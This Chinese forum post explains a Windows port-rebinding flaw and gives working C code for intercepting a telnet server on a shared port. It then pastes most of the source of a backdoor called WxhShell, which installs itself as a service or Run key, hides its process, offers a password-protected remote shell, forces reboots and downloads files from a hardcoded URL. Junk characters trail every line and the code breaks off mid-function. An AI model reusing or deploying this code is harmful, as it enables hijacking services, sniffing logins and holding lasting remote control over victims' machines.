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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0X;Dr-3<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #*fB~Os:  
pdM|dGq^  
  saddr.sin_family = AF_INET; v?}/WKe+0  
*ZHk^d:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .[7m4iJf  
O1QHG'00  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5}f$O  
/}V9*mD2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 % tpjy,  
T ^uBMDYe  
  这意味着什么?意味着可以进行如下的攻击: )s M}BY  
a83o (9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K/altyj`  
g\ 2Y605DM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _:T\[sz5  
<I7UyCAF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6;ICX2Wq'  
`*! .B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fV3J:^)F  
&_ber ad  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3=` UX  
<~3@+EEM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @qeI4io-n  
U]_1yX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h)sc-e  
V /|@   
  #include 7p|Pv;wp|  
  #include XMpPG~XdN  
  #include $L(,q!DvH  
  #include    } ZV$_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   07n=H~yU  
  int main() S#jE1EN  
  { {2-w<t  
  WORD wVersionRequested; LqW~QEU(  
  DWORD ret; e<q;` H  
  WSADATA wsaData; o d!TwGX  
  BOOL val; R6!t2gdKe@  
  SOCKADDR_IN saddr; S);bcowf_  
  SOCKADDR_IN scaddr; t~e.LxN  
  int err; *c.*e4uzF  
  SOCKET s; !s5 _JO  
  SOCKET sc; q^EG'\<^  
  int caddsize; 21W>}I"0?  
  HANDLE mt; GDhg VOW(  
  DWORD tid;   PE-Vx RN)  
  wVersionRequested = MAKEWORD( 2, 2 ); 5s8k^n"A  
  err = WSAStartup( wVersionRequested, &wsaData ); ZfoI7<?33  
  if ( err != 0 ) { UkeX">  
  printf("error!WSAStartup failed!\n"); ?z p$Wz;k  
  return -1; FK>8(M/  
  } h ~v8Q_6  
  saddr.sin_family = AF_INET; [8![UcMq  
   1InG%=jLo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *IfLoKS'  
=#^\ 9|?$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ("ql//SL  
  saddr.sin_port = htons(23); *}Vg]3$4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6ID@0  
  { L `3x0u2  
  printf("error!socket failed!\n"); "cj6i{x,~w  
  return -1; Zg_ fec~6q  
  } DOyYy~Q  
  val = TRUE; yO.q{|kX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vjmNS=l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a/ ^ojn  
  { f }P6P>0T  
  printf("error!setsockopt failed!\n"); 8\P!47'q  
  return -1; 8k vG<&D  
  } &C6Z-bS"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A63=$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N6EG!*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ia %> c  
f:bUM/Ud  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?)X 0l  
  { ~U}0=lRVS  
  ret=GetLastError(); e#BxlC  
  printf("error!bind failed!\n"); n|q $=jE  
  return -1; :"{("!x   
  } n.F^9j+V  
  listen(s,2); _X;xW#go  
  while(1) > &tmdE  
  { +`=rzL"0I7  
  caddsize = sizeof(scaddr); bWv2*XC  
  //接受连接请求 >sGIpER7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yzWVUqtXm  
  if(sc!=INVALID_SOCKET) @^R6}qJ  
  { ;#)sV2F\&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;iq H:wO  
  if(mt==NULL) m9Xauk$(  
  { a!guZUg6  
  printf("Thread Creat Failed!\n"); M 5c$  
  break; P.#@1_:gC  
  } ZW>iq M^9  
  } Z@(m.&ZRx  
  CloseHandle(mt); VRE[ vM'  
  } q!f'?yFYK  
  closesocket(s); uidoz f2}  
  WSACleanup(); *E.uqu>I  
  return 0; $/J4?Wik  
  }   erlg\-H   
  DWORD WINAPI ClientThread(LPVOID lpParam) L+ K,Y:D!W  
  { yi.GD~69  
  SOCKET ss = (SOCKET)lpParam; L5DeLF+  
  SOCKET sc; (! a;}V<7  
  unsigned char buf[4096]; t XfXuHa  
  SOCKADDR_IN saddr; i4Da'Uk  
  long num; gk hmQd  
  DWORD val; 4LXC;gZ  
  DWORD ret; ,4mb05w;d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U5:5$T,C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SiLWy=qbR  
  saddr.sin_family = AF_INET; k|4}Do%;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %t*KP=@  
  saddr.sin_port = htons(23); fL(_V/p^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'IQ;; [Q  
  { dt5`UBvUg  
  printf("error!socket failed!\n"); Sc14F Fs  
  return -1; \)M EM=U  
  } x~?|bnM#3  
  val = 100; p}]K0F!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JuDadIrd{  
  { "N3!!3  
  ret = GetLastError(); O^Y@&S RrQ  
  return -1; 3w&Z:<  
  } ~P fk   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nTv^][  
  { XyYP!<].C  
  ret = GetLastError(); *RD<*l  
  return -1; NCp]!=uM;  
  } *#.Ku(C+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +2#pP  
  { m$`4.>J  
  printf("error!socket connect failed!\n"); J3 xi5S  
  closesocket(sc); MjW{JR)I  
  closesocket(ss); 8;i'dF:)  
  return -1; @NYlVk2  
  } R-6km Tex>  
  while(1) >p29|TFbV  
  { 8Xa{.y"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w""  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LIRL`xU7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !DBaC%TGC  
  num = recv(ss,buf,4096,0); .2 }5Dc,eR  
  if(num>0) u}-)ywX  
  send(sc,buf,num,0); 'XI-x[w  
  else if(num==0) ow9Vj$m  
  break; w|U 7pUz  
  num = recv(sc,buf,4096,0); vMYEP_lhK,  
  if(num>0) NKYHJf2?x  
  send(ss,buf,num,0); )U+&XjK  
  else if(num==0) & &:ZY4`  
  break; e@DVf  
  } 2NF#mWZ(s  
  closesocket(ss); ,#.9^J  
  closesocket(sc); 3J[ 5^  
  return 0 ; `G2!{3UD  
  } \4|osZ0y  
"|GX%> /  
r5Xi2!  
========================================================== S~ZRqL7Z O  
 Fq!- %Y  
下边附上一个代码,,WXhSHELL J%P{/nR  
W;T (q~XK  
========================================================== -v~XS-F  
SXRND;-W8  
#include "stdafx.h" "uU[I,h  
+~?K@n  
#include <stdio.h> (*G'~gSX  
#include <string.h> h5ZxxtGU  
#include <windows.h> 98!H$6k  
#include <winsock2.h> nE"0?VNW$  
#include <winsvc.h> J Sms \  
#include <urlmon.h> e:(~=9}Li  
fj[tm  
#pragma comment (lib, "Ws2_32.lib") J:2Su1"ODh  
#pragma comment (lib, "urlmon.lib") <Q?_],ip  
% ^&D,  
#define MAX_USER   100 // 最大客户端连接数 {ud^+I&  
#define BUF_SOCK   200 // sock buffer lPn&,\9@~  
#define KEY_BUFF   255 // 输入 buffer 6EkD(w  
0u8(*?  
#define REBOOT     0   // 重启 YL@d+ -\  
#define SHUTDOWN   1   // 关机 uH8`ipX  
D;OR?NdgvW  
#define DEF_PORT   5000 // 监听端口 J!*Pg<  
ybVdWOqv  
#define REG_LEN     16   // 注册表键长度 <P<^,aC/j  
#define SVC_LEN     80   // NT服务名长度 ATf{;S}  
-u%'u~s  
// 从dll定义API 2O)2#N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }{@RO./)[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {bPcr hB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'gv7&$X}4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XrQS?D `  
V39)[FH}  
// wxhshell配置信息 IP+1 :M  
struct WSCFG { pd X"M>  
  int ws_port;         // 监听端口 Ld YaJh~h  
  char ws_passstr[REG_LEN]; // 口令 Ow7I`#P  
  int ws_autoins;       // 安装标记, 1=yes 0=no YK|Y^TU^  
  char ws_regname[REG_LEN]; // 注册表键名 "ktC1y1  
  char ws_svcname[REG_LEN]; // 服务名 . G ~,h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DwC8?s*2H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =v]eQIp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d<l-Ldle  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =AJ I3 'x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P1m PC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D^H<)5d9  
+qEvz<kch  
}; $[P>nRhW  
O@bDMg  
// default Wxhshell configuration )04lf*ti  
struct WSCFG wscfg={DEF_PORT, $\@yH^hL  
    "xuhuanlingzhe", O[fgn;@|  
    1, $MG. I[h  
    "Wxhshell", }qOC*k:  
    "Wxhshell", <ArP_! `3  
            "WxhShell Service", 1f1J'du  
    "Wrsky Windows CmdShell Service", c/57_fOK  
    "Please Input Your Password: ",  ]=g |e  
  1, l7r!fAV-f  
  "http://www.wrsky.com/wxhshell.exe", md/Z[du:'  
  "Wxhshell.exe" ?$^qcpJCp  
    }; fE/8;v!=  
kM?p>V6  
// 消息定义模块 cuP5cL/Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xsc5@O!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R`:NUGR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1H_#5hd  
char *msg_ws_ext="\n\rExit."; $|YIr7?R  
char *msg_ws_end="\n\rQuit."; [y T4n.f  
char *msg_ws_boot="\n\rReboot..."; ft[g1  
char *msg_ws_poff="\n\rShutdown..."; QPfS3%p`  
char *msg_ws_down="\n\rSave to "; {P#&e>)v{  
VBssn]w  
char *msg_ws_err="\n\rErr!"; 'gojP  
char *msg_ws_ok="\n\rOK!"; n]@+<TA<uA  
)gCHwu  
char ExeFile[MAX_PATH]; gH0B[w ]  
int nUser = 0; Xze   
HANDLE handles[MAX_USER]; R6Cm:4m}I  
int OsIsNt; va8V{q@t'  
[lA[w Cw  
SERVICE_STATUS       serviceStatus; ^ >ca*g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fwRlqfi  
%1]2+_6  
// 函数声明 q9oF8&O,  
int Install(void); 43-%")bH  
int Uninstall(void); LZG^\c$  
int DownloadFile(char *sURL, SOCKET wsh); r<O^uz?Di  
int Boot(int flag); Rhx7eU#&  
void HideProc(void); G6eC.vU]j  
int GetOsVer(void); Prhq ~oI4  
int Wxhshell(SOCKET wsl); r[Q$w>  
void TalkWithClient(void *cs); ooIMN =  
int CmdShell(SOCKET sock); =tH+e7it  
int StartFromService(void); `z)!!y  
int StartWxhshell(LPSTR lpCmdLine); VJCh5t*  
u?g!E."v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _u;^w}0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 $e;#}  
_ |TE )h  
// 数据结构和表定义 MQY1he2M  
SERVICE_TABLE_ENTRY DispatchTable[] = 9$Mi/eLG2N  
{ !Y]}& pUP  
{wscfg.ws_svcname, NTServiceMain}, `z` `d*_  
{NULL, NULL} :/%Vpdd@  
}; Hs=!.tZ,  
sp**Sg)  
// 自我安装 /2dK*v0  
int Install(void) HxY,R ^  
{ SC2C%.%l`  
  char svExeFile[MAX_PATH]; @gi Y  
  HKEY key; {C]M]b*F6(  
  strcpy(svExeFile,ExeFile); Xe+&/J5b  
DJQ]NY|  
// 如果是win9x系统,修改注册表设为自启动 DAu|`pyC%  
if(!OsIsNt) { N0vd>b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N^ D/}n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2hJ{+E.m  
  RegCloseKey(key); M2@q{RiS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0"2 [I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M?cKt.t  
  RegCloseKey(key); %&_(IY$d  
  return 0; R\.huOJh  
    } o~-X7)]  
  } 5GJ0EZ'X  
} ZHC sv]l  
else { -/gS s<"  
%o"Rcw|  
// 如果是NT以上系统,安装为系统服务 +cV!=gDT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }qD.Ek  
if (schSCManager!=0) T![K i  
{ W;N/Y3Lb  
  SC_HANDLE schService = CreateService YQ]H3GA  
  ( :):Y6)giBD  
  schSCManager, /hX"O ?^  
  wscfg.ws_svcname, bg HaheU  
  wscfg.ws_svcdisp, /M3D[aR<d  
  SERVICE_ALL_ACCESS, 4o*V12_r'4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BL8\p_U  
  SERVICE_AUTO_START, !%u#J:z2  
  SERVICE_ERROR_NORMAL, N6J$z\ P  
  svExeFile, MtYP3:  
  NULL, dJLJh*=AG  
  NULL, `U g.c  
  NULL, ,#E5/'c`  
  NULL, s^oNQ}  
  NULL zJnVO$A'  
  ); Wl#^Eu\g1W  
  if (schService!=0) ^ Wl/  
  { 7k\7G=  
  CloseServiceHandle(schService); 'QS"4EvdD  
  CloseServiceHandle(schSCManager); 9#(QS+q~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <=inogf  
  strcat(svExeFile,wscfg.ws_svcname); m@,>d_|-K-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %f-<ol  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &tgvE6/V  
  RegCloseKey(key); A$F;fCV*  
  return 0; *h4m<\^U  
    } h]Oplp4 \W  
  } =CVT8(N*  
  CloseServiceHandle(schSCManager); +wUhB\F *  
} -*lP1Nbp  
} SNU bY6  
68c;Vb  
return 1; m6x. "jG  
} ;iORfUjxrq  
3kQ^f=Wd  
// 自我卸载 i/J NG  
int Uninstall(void) 9Bk}g50$#  
{ ~yi&wbTjM  
  HKEY key; N 9&@,3  
I7PWO d  
if(!OsIsNt) { ]'h)7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nTU~M~gky  
  RegDeleteValue(key,wscfg.ws_regname); #P-HV  
  RegCloseKey(key); 48g^~{T4O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Q@6:bBzv  
  RegDeleteValue(key,wscfg.ws_regname); YhT1P fl  
  RegCloseKey(key);  y:OywIi(  
  return 0; (<C%5xk  
  } % 9/)  
} 0:Y`#0qK  
} _ <a)\UR  
else { [T}]Ma*CS  
otVyuh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dO4#BDn"=  
if (schSCManager!=0) L[G\+   
{ I A`8ie+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ePRMv  
  if (schService!=0) &&nO]p`  
  { ,*Z[P%<9  
  if(DeleteService(schService)!=0) { OPY/XKyY,  
  CloseServiceHandle(schService); /e sk  
  CloseServiceHandle(schSCManager);  "$Iw Q  
  return 0; =P;;&j3Z  
  } !J=;Z9  
  CloseServiceHandle(schService); ).!14Gjo  
  } pt cLJ]+)  
  CloseServiceHandle(schSCManager); '+I 2$xE  
} ,L{o, qzC  
} h!N&gZ[0  
/^33 e+j  
return 1; Zc3:9   
} 4`-?r%$,:  
g} ~<!VpX  
// 从指定url下载文件 SxW}Z_8x  
int DownloadFile(char *sURL, SOCKET wsh) TnBGMI,g'  
{ 7x7r!rSe,  
  HRESULT hr; ]6%%X+$7  
char seps[]= "/"; lzy$.H"W  
char *token; l&sO?P[ /  
char *file; y5Wqu9C\Io  
char myURL[MAX_PATH]; 1xdESorX(  
char myFILE[MAX_PATH]; S[hJ{0V  
8P<UO  
strcpy(myURL,sURL); "p~]m~g  
  token=strtok(myURL,seps); FX|lhwmc(  
  while(token!=NULL) Kpp *^  
  { h>^jq{yu  
    file=token; 8 1K G1i)  
  token=strtok(NULL,seps); @2~O^5[>  
  } ^z%o];  
P$6f+{  
GetCurrentDirectory(MAX_PATH,myFILE); R3{*v =ov  
strcat(myFILE, "\\"); 7z&adkG:  
strcat(myFILE, file); /,!7jF:  
  send(wsh,myFILE,strlen(myFILE),0); }u3H4S<o  
send(wsh,"...",3,0); 2 .Eu+*UC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 28Ssb|  
  if(hr==S_OK) hKH$AEHEU}  
return 0; YK w!pu=  
else l q\'  
return 1; V:(w\'wm  
fs3 -rXoB  
} L=$?q/=-  
{80oRD2=Q  
// 系统电源模块 csFJ5  
int Boot(int flag) Ql: b1C,  
{ 6N %L8Q  
  HANDLE hToken; {glqWFT  
  TOKEN_PRIVILEGES tkp; yYG3/Z3u5  
wHt#'`5  
  if(OsIsNt) { YM`:L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {+/ .5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "BLv4s|y7L  
    tkp.PrivilegeCount = 1; {7K'<ti  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nqurY62Ip  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ! =\DC,-CB  
if(flag==REBOOT) { z)ft3(!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Z/][?Jj{  
  return 0; :tjgg]  
} ?`N57'iPb  
else { 2|0Qk&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '&.)T 2Kw  
  return 0; Mz/]DJ8  
} v9t4 7>V  
  } -'O Q-5  
  else { f!M[awj%  
if(flag==REBOOT) { (^DLCP#*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~),;QQ,  
  return 0; P0'e"\$  
} 08Pt(kzNA  
else { VjA wn}eO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) []A"]p  
  return 0; .])>A')r  
} Qq,i  
} 2~G,Ia  
Ie G7@  
return 1; O8K@&V p  
} 9SRfjS{7  
Xmap9x  
// win9x进程隐藏模块 NCowt|#t  
void HideProc(void) N_u&3CG  
{  YBYBOH  
zuC58B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E^Q@9C<!d  
  if ( hKernel != NULL ) 5y1or  
  { Veb+^&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u @{E{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,s1&O`  
    FreeLibrary(hKernel); y-w2O]  
  } N3uMkH-<  
-Z:]<;qU  
return; 5kGxhD  
} +R|U4`12  
.ocx(_3G  
// 获取操作系统版本 JP{UgcaF  
int GetOsVer(void) ?TvQ"Y}k  
{ dO>k5!ge|:  
  OSVERSIONINFO winfo; (H&@u9K?a?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AuoxZ?V  
  GetVersionEx(&winfo); j2RRSz&9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >;&Gz-lm  
  return 1; Sg-g^ dIN1  
  else 6OfdD.y  
  return 0; 8|1`Tn}o  
} 7cIC&(h5  
Cw 1 9y  
// 客户端句柄模块 v#RW{kI  
int Wxhshell(SOCKET wsl) kP)YgkE  
{ /h/6&R0l  
  SOCKET wsh; 54<6Dy f  
  struct sockaddr_in client; ;*y|8od B  
  DWORD myID; c]6V"Bo}A  
%oAL  
  while(nUser<MAX_USER) |J:$MX~  
{ d!`lsh@tF  
  int nSize=sizeof(client); uA~YRKer  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  KR&s?  
  if(wsh==INVALID_SOCKET) return 1;  M{] e5+  
CXTt(-FT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #MUiL=  
if(handles[nUser]==0) } <SNO)h3  
  closesocket(wsh); \;-qdV_JB  
else p?;-!TUv  
  nUser++; 6^Ph '  
  } 6MuWlCKF8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pFpZbU^  
Kaf>  
  return 0; N;<//,  
} lY.B  
[#0Yt/G  
// 关闭 socket z+jh ;!i  
void CloseIt(SOCKET wsh) !L77y^oV  
{ Y[Es  
closesocket(wsh); U| 8[#@r  
nUser--; opdu=i=E  
ExitThread(0); CD}Ns  
} i`+B4I8[  
6_*!|g  
// 客户端请求句柄 Y&s2C%jT  
void TalkWithClient(void *cs) kBbl+1{H  
{ Q!K`e)R  
yLW/ -%I#u  
  SOCKET wsh=(SOCKET)cs; m=QCG)s  
  char pwd[SVC_LEN]; @F?=a*s"!  
  char cmd[KEY_BUFF]; rR]-RX(  
char chr[1]; |1"!k A  
int i,j; +e'X;  
_9NVE|c;  
  while (nUser < MAX_USER) { l)Zs-V!M^\  
.jU Z  
if(wscfg.ws_passstr) { ZW*n /#GUC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =E y`M#t;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,-@5NY1q  
  //ZeroMemory(pwd,KEY_BUFF); vBNZ<L\|a  
      i=0; snYr9O[E6  
  while(i<SVC_LEN) { Zm(dY*z5:J  
RZO5=L9E  
  // 设置超时 (S oo<.9~  
  fd_set FdRead; c&f y{}10  
  struct timeval TimeOut; 1TjZ#yP%1  
  FD_ZERO(&FdRead); aX^+ O,  
  FD_SET(wsh,&FdRead); 9cQ_mgch  
  TimeOut.tv_sec=8; r~8;kcu7  
  TimeOut.tv_usec=0; YsP/p-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q.k :\m*h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gDCOLDM  
i[150g?K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dig~J\  
  pwd=chr[0]; dn,gZ"<  
  if(chr[0]==0xd || chr[0]==0xa) { ?z/Vgk+9|  
  pwd=0; K)S;:MLG=  
  break; ni6r{eSQ  
  } aq Mc6N`z  
  i++; D|_V<'  
    } u,7zFg)H  
zX kx7d8  
  // 如果是非法用户,关闭 socket XoR>H4xh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q* !3C  
} `.=sTp2rbc  
hVP IHQt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j7 d:v7+_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kIvvEh<L=  
d TGA5c  
while(1) { 47UO*oLS  
B9X8  
  ZeroMemory(cmd,KEY_BUFF); Y ?'tUV  
/N)5 3!LT  
      // 自动支持客户端 telnet标准   ],lV}Mlg*  
  j=0; 1f4 bt6[  
  while(j<KEY_BUFF) { 6)e5zKW!?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 tXSYHd3  
  cmd[j]=chr[0]; /\=MBUN  
  if(chr[0]==0xa || chr[0]==0xd) { 7*s8 ttX  
  cmd[j]=0; XM~~y~j  
  break; 9"sDm}5%  
  } I^3:YVR&  
  j++; #Hu~}zy  
    } 2cf' ,cv@8  
UG2w 1xqHw  
  // 下载文件 [@"wd_f{l  
  if(strstr(cmd,"http://")) { <]G${y*;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,EEPh>cXc  
  if(DownloadFile(cmd,wsh)) *'R#4@wmP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4MW ]EQ-  
  else x#8w6@iPQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i0pU!`0  
  } wW`}VKu  
  else { o-eKAkh  
^O6* e]C$  
    switch(cmd[0]) { +MUwP(U=w  
  v{;7LXy0  
  // 帮助 w'ybbv{c  
  case '?': { 2t1I3yA'{z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IFuZ]CBz  
    break; X-JV'KE}^z  
  } H+Z SPHs  
  // 安装 i$UQbd  
  case 'i': { :w-`PY J%G  
    if(Install()) H{fM%*w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDx Mo`zT  
    else (P@Y36j>N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RKTb' 3H  
    break; t\R; < x  
    } jO'|mGUM  
  // 卸载 ;+Y i.Q/\  
  case 'r': { svhrf;3:  
    if(Uninstall()) h##WA=1QZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `l]j#qshTm  
    else <GIwRVCU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F $yO  
    break; cFZCf8:zB  
    } BzbDZV  
  // 显示 wxhshell 所在路径 TD,nIgH`  
  case 'p': { ' UMFS  
    char svExeFile[MAX_PATH]; JMyTwj[7  
    strcpy(svExeFile,"\n\r"); %XRN]tsu  
      strcat(svExeFile,ExeFile); ?nFO:N<  
        send(wsh,svExeFile,strlen(svExeFile),0); B~gV'(9g  
    break; SGcBmjP  
    }  46,j9x  
  // 重启 %|"Qi]c d  
  case 'b': { FJS'G^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +m$5a YX  
    if(Boot(REBOOT)) TZB+lj1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=wRkU  
    else { .p@N:)W6  
    closesocket(wsh); M]EsS^/X  
    ExitThread(0); V[hK2rVH.  
    } >-cfZ9{!  
    break; t/p $  
    } Ex(3D[WmMW  
  // 关机 oRY!\ADR  
  case 'd': { :pC;`iQ  
